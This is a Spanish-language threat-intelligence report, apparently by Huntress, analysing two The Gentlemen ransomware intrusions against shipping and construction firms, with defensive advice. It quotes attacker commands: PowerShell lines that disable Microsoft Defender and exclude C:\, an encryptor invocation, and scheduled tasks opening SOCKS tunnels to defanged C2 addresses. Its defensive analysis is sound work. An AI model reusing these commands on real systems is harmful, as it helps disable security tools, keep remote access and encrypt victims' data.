The Gentlemen (ransomware) encubierto: evasión de defensas y otras TTPs

Agradecimientos: Huntress desea reconocer las contribuciones de los analistas del SOC Nick Roddy y Dani Lopez por sus investigaciones y análisis de estos incidentes.

El Huntress SOC encontró recientemente dos incidentes relacionados con el ransomware The Gentlemen, una operación que surgió por primera vez a mediados de 2025 y que ha estado muy activa desde entonces, con Ransomware.live mostrando reclamos de más de 400 víctimas en al menos 70 países.

Un aspecto intrigante de incidentes previos de The Gentlemen es la estrategia de evasión de defensas usada por los actores de amenazas que han implementado el ransomware. Según un informe de Trend Micro, los actores de amenazas han usado herramientas y capacidades de evasión de defensas hechas a medida para deshabilitar soluciones de seguridad en los ataques de The Gentlemen. Una filtración más reciente de la base de datos interna de la operación, a principios de mayo, reveló además que sus operadores dependen de un grupo de herramientas dedicadas a la evasión de herramientas de seguridad, y técnicas para abusar del registro de eventos de Windows.

The Gentlemen es una operación RaaS, lo que significa que puede distribuirse en ataques por afiliados, y como tal, las cadenas de ataque observadas suelen variar entre un ataque y otro. Nuestra investigación de los dos incidentes donde se implementó The Gentlemen reveló varias similitudes en las TTPs, incluido el uso de tareas programadas y PowerShell. También vimos algunas tácticas básicas de evasión de defensas: en ambos incidentes, se borraron los registros de eventos de Security, System y Application, aunque curiosamente otros registros de eventos de Windows quedaron intactos. Los actores de amenazas en estos incidentes también intentaron evadir las soluciones antivirus después de que su primer intento de implementar el cifrador fuera bloqueado.

Nuestra visión de cómo se desarrollan los ataques dentro de las organizaciones afectadas, combinada con el corpus de chats filtrado que revela el funcionamiento interno de The Gentlemen, ofrece información detallada para los defensores que intentan comprender mejor los incidentes vinculados a este ransomware.

Un ransomware no tan caballeroso

La industria ahora está aprendiendo más sobre The Gentlemen porque alguien con acceso interno filtró una base de datos interna perteneciente a la operación a principios de mayo. La filtración expuso varias cuentas, incluida una que supuestamente pertenece al administrador del grupo, quien maneja la infraestructura y crea el locker y el panel del ransomware. La filtración dio una mirada interna a cómo funciona la operación, incluidos los vectores de acceso inicial (como dispositivos perimetrales), los CVE que los actores están rastreando (incluida la falla de bypass de autenticación de Fortinet CVE-2024-55591), y cómo se desarrollan las negociaciones de rescate.

Un análisis previo de muestras del ransomware The Gentlemen realizado por investigadores de Check Point mostró ocho ID de afiliados vinculados a la red de mensajería Tox que la operación estaba usando, incluido un ID de Tox perteneciente al administrador, lo que indica que el administrador de The Gentlemen también podría participar activamente en algunos de los ataques, además de los afiliados.

Informes públicos previos también han señalado diversas técnicas usadas por los actores de amenazas que implementan el ransomware The Gentlemen, incluido el abuso de controladores legítimos, el uso de objetos de directiva de grupo (GPO) para habilitar ataques a nivel de todo el dominio, y la persistencia mediante software de acceso remoto (específicamente AnyDesk).

Los analistas del Huntress SOC observaron dos incidentes donde se implementó el ransomware The Gentlemen en abril y mayo. En ambos incidentes, el Huntress Agent se implementó después del incidente, lo que limitó nuestra visibilidad de lo ocurrido. La telemetría de EDR durante el ataque en sí no estaba disponible, lo cual podría haber dado información valiosa sobre el comportamiento malicioso que activó las detecciones. Las organizaciones afectadas no contaban con SIEM, lo que limitó aún más los datos que podrían mostrar detalles sobre el acceso inicial. Sin embargo, con base en una investigación más profunda de la telemetría disponible, incluidos PowerShell y los registros de eventos de Windows, pudimos reunir pistas sobre cómo se desarrollaron los ataques.

Un incidente en una organización de envíos y transporte

El 10 de abril, se agregó el Huntress Agent a una organización del sector de envíos y transporte después del incidente.

El primer punto de visibilidad que tuvimos de los registros de eventos de Windows comenzó el 9 de abril y mostró al actor de amenazas iniciando una conexión de protocolo de escritorio remoto (RDP) usando la cuenta de un usuario comprometido. Esto no significa necesariamente que el acceso inicial se haya logrado mediante RDP; más bien, esto es hasta donde nos permitió ver nuestra visibilidad.

Poco después de que el actor de amenazas iniciara y luego estableciera la conexión RDP, intentó ejecutar el cifrador de archivos (win.exe) localmente desde la carpeta Documents, como se ve en la siguiente línea de comandos:

C:\Users\REDACTED\Documents\win.exe --password REDACTED --T 200 --superfast

Los registros de eventos de Windows (específicamente los ID de evento 1116 y 1117 de Microsoft Defender) mostraron que Microsoft Defender detectó y bloqueó este intento. Los registros también mostraron a Defender detectando y bloqueando Trojan:Win32/MpTamperBulkExcl.H, un script de PowerShell que se ejecutó e intentó manipular las exclusiones del antivirus.

El actor de amenazas luego creó una serie de tareas programadas (probablemente en el controlador de dominio, ya que no vimos los registros de eventos Microsoft-Windows-TaskScheduler/140 que esperaríamos ver con tareas creadas localmente en el endpoint). Una de ellas se usó para ejecutar el cifrador de archivos nuevamente.

El 10 de abril, el atacante también borró los registros de eventos de Windows de System, Application y Security. Obtenemos una pista forense clara aquí a través de una serie de registros de eventos (específicamente el ID de evento 104 para los registros de Application y System, y el ID de evento 1102 para el registro de Security, lo que muestra que todos fueron borrados). Sin embargo, el actor de amenazas solo borró estos tres registros, en lugar de todos los archivos de registro; lo que significa que aún quedan muchas otras huellas por investigar.

Obtenemos más información sobre los esfuerzos posteriores del actor de amenazas para implementar el ransomware al observar otra fuente de telemetría forense, las detecciones de Managed Antivirus (MAV) vinculadas al ataque, que se activaron cuando se instaló el Huntress Agent.

Figura 1: Vista de la detección de Defender de un ejecutable malicioso

Estas mostraron una segunda instancia del mismo payload de ransomware win.exe detectado el 10 de abril, que se encontró en el recurso compartido NETLOGON y fue ejecutado por la cuenta SYSTEM a través de Configuration Manager Client (CcmExec.exe). Como lo indica la Figura 1 (y como lo confirma el Event ID 1118 de Microsoft Defender en los registros), Microsoft Defender detectó esto, pero no logró ejecutar la remediación designada.

Después de que el payload se implementó con éxito, los archivos se cifraron con la extensión .fjn1jw y se colocó la nota de rescate (README-GENTLEMEN.txt).

Un ataque de mayo tiene como objetivo a una empresa de construcción 

Más recientemente, el agente de Huntress se instaló después del incidente, el 18 de mayo, en tres endpoints pertenecientes a una empresa de construcción. El agente de Huntress no estaba instalado al inicio del ataque, lo que limitó nuestra visibilidad del vector de acceso inicial del incidente. Sin embargo, los registros de Microsoft Defender mostraron actividad maliciosa detectada desde el 22 de abril.

El cifrado de archivos también había comenzado días antes de que se instalara el agente de Huntress, el 15 de mayo. Como se ve en la Figura 2, el primer intento del actor de amenazas de ejecutar el encriptador también fue detectado por Microsoft Defender en esa fecha (Ransom:Win64/Gentlemen.SH!MTB).

Una mirada más detallada a la alerta de Defender en la Figura 2 muestra varias diferencias entre este incidente y el de abril. A diferencia del encriptador del incidente de abril, el ejecutable de cifrado de archivos de este incidente tenía un nombre diferente (G_hlm7jj_windows_amd64.exe). Los actores de amenazas también operaron desde directorios distintos; mientras que el de abril intentó primero usar la carpeta Documents del usuario comprometido, este incidente más reciente usó la carpeta Downloads.

Figura 2: Detección por Defender del ejecutable del encriptador de archivos

Después de que su intento inicial de implementar el ransomware fallara, el actor de amenazas cambió de estrategia, y observamos varias técnicas de evasión de defensas. El atacante borró varios registros de eventos de Windows, pero otros permanecieron intactos. Esos registros restantes, junto con los registros de eventos de PowerShell, nos dieron una visión interna de lo sucedido. El actor de amenazas usó una extensa serie de comandos a través de PowerShell para deshabilitar Microsoft Defender y luego "cegarlo" con exclusiones, antes de volver a implementar el ejecutable. A continuación aparece una muestra de esos comandos del segundo incidente:

powershell.exe -Command Set-MpPreference -DisableRealtimeMonitoring $true; Stop-Service -Name WinDefend -Force; Set-Service -Name WinDefend -StartupType Disabled

powershell -Command Set-MpPreference -DisableRealtimeMonitoring $true -Force

powershell -Command Set-MpPreference -EnableControlledFolderAccess Disabled -Force

powershell -Command Add-MpPreference -ExclusionProcess C:\Users\[REDACTED]\downloads\G_hlm7jj_windows_amd64.exe -Force

powershell -Command Add-MpPreference -ExclusionPath C:\ -Force 

El actor de amenazas creó tareas programadas que se detectaron en los endpoints afectados, las cuales ejecutaban un binario malicioso desde la carpeta temp. El binario (svchost32.exe), disfrazado como el proceso legítimo del sistema Windows svchost.exe, creó una conexión de proxy SOCKS a una dirección IP de comando y control (C2) en 193.233.202[.]17 en el puerto 44729. Esta tarea programada mantendría el acceso remoto, usando malware que haría beacon hacia la dirección IP de C2:

C:\Windows\Temp\svchost32.exe client 193.233.202[.]17:44729 R:1081:socks

También observamos una línea de comando de un intento anterior de crear una tarea programada maliciosa en una dirección diferente, que aparecía de la siguiente manera:

cmd.exe /C schtasks /create /tn WindowsConnSvc /tr C:\Windows\Temp\svchost32.exe client 77.110.122[.]137:37182 R:1085:socks /sc minute /mo 2 /ru SYSTEM /f > C:\Windows\Temp\RbHoNVNU.tmp 2>&1

La tarea programada estaba configurada para ejecutarse cada 2 minutos, y en principio, después del primer lanzamiento, uno esperaría que el registro de eventos de TaskScheduler estuviera lleno de eventos TaskScheduler/332, lo que indicaría que la tarea siguiente no pudo lanzarse porque ya había una copia de la tarea en ejecución. Este es un medio de persistencia particularmente ruidoso, debido a que los mensajes de evento se generan cada dos minutos. Sin embargo, en este incidente, los registros estaban llenos de otra secuencia de eventos. Cada dos minutos, un evento TaskScheduler/101 indicaba que la tarea se había lanzado según un disparador (en este caso, un temporizador de dos minutos), seguido de mensajes de eventos TaskScheduler/107 y TaskScheduler/203, que indicaban que la tarea no pudo lanzarse. Si bien los registros no se remontaban lo suficiente como para "ver" la creación y el registro de la tarea programada, había indicios de la tarea programada, mediante la secuencia identificada de mensajes de eventos, desde el 13 de mayo.

La serie de mensajes aparecía cada dos minutos de la siguiente manera:

Microsoft-Windows-TaskScheduler/107;\WindowsConnSvc,{0091219c-aa1d-45ee-84eb-1d70f291f818}

Microsoft-Windows-TaskScheduler/101;\WindowsConnSvc,NT AUTHORITY\SYSTEM,2147942593

Microsoft-Windows-TaskScheduler/203;\WindowsConnSvc,{0091219c-aa1d-45ee-84eb-1d70f291f818},C:\Windows\Temp\svchost32.exe,2147942593

En otro endpoint, después de que se borrara el registro de eventos de Security, la información de sesión derivada de los datos de los tres días siguientes, hasta que se instaló el agente de Huntress, mostró inicios de sesión en la cuenta de usuario comprometida, originados desde la estación de trabajo WIN-8OA3CCQAE4D, que Huntress ha observado asociada con actividad maliciosa desde hace casi dos años. De hecho, esta estación de trabajo también ha sido identificada por FalconFeeds como asociada al ransomware Qilin, y ha sido identificada por Red Asgard como parte de la infraestructura de Lazarus.

Cómo defenderse de los ataques de ransomware gentlemen

The Gentlemen ha ganado terreno desde que surgió a mediados de 2025, y la reciente filtración de su base de datos interna les dio a los defensores una mirada poco común de cómo opera el grupo tras bambalinas. Nuestra propia perspectiva sobre incidentes relacionados con el ransomware muestra a los actores de amenazas apoyándose en tareas programadas, PowerShell y el borrado de registros, mientras dejan suficiente telemetría para que los defensores puedan reconstruir la intrusión y comprender mejor el tradecraft de la amenaza. Algunas de las lecciones prácticas de defensa que dejan estos incidentes incluyen la necesidad de:

• Aplicar MFA, restringir RDP e investigar inicios de sesión inusuales en sistemas de alto valor
• Monitorear la creación de tareas programadas y los fallos repetidos de tareas como señales de persistencia o ejecución de ransomware
• Habilitar la protección contra alteraciones de Defender e investigar cualquier intento de deshabilitarla o de agregar exclusiones
• Tratar el borrado de los registros de Security, System y Application como un disparador inmediato de escalamiento

Como mencionamos en el reciente episodio de Tradecraft Tuesday de mayo sobre RaaS, defenderse del ransomware también suele empezar por asegurar lo básico. Eso incluye mantener un inventario de un activo de ciberseguridad, reducir tu superficie de ataque y desplegar monitoreo de forma amplia.

Huntress ha publicado indicadores de compromiso relacionados con estos incidentes en nuestro repositorio de inteligencia de amenazas en Github.

IoCs